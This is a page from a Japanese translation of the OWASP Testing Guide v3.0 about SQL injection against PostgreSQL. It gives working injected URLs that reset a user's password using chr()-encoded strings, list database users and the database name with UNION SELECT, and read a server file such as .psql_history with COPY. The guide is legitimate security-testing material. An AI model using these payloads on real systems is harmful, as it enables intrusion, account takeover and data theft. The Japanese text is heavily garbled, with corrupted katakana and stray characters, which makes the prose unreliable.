OWASP テスティングガイド

OWASP Testing Guide v3.0
例 えば、 文 字 列 'root'をウヱケードしたいとします8
select ascii('r')
114
select ascii('o')
111
select ascii('t')
116
'root'は 次 のようにウヱケードできます8
chr(114)||chr(111)||chr(111)||chr(116)
例 :
http://www.example.com/store.php?id=1; UPDATE users SET
PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--
攻 撃 ベクタ
カレンヱテヤーザ
ォリヱトヤーゴのアイデヱティティは、 以 下 の SELECT 文 で 取 り 出 すことができます8
SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()
例 :
http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--
http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--
カレンヱテデータベース
ビラトイヱ 関 数 の current_database()は、 現 在 のデーソプーシ 名 を 返 します。
例 :
http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--
ファアルから 読 み 出 す
ProstgreSQL は、ルーォラのファイラにアキスシするための 2 種 類 の 方 法 を 提 供 します8
COPY:
• COPY 文
• pg_read_file() 内 部邪 関 数 (PostgreSQL 8.1 より'
この 演 算 子婡 は、ファイラとテーブラ 間 でデーソをケピーします。PostgreSQL ウヱザヱはルーォラファイラサシテマを postgres
ヤーゴでアキスシします。
例 :
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
249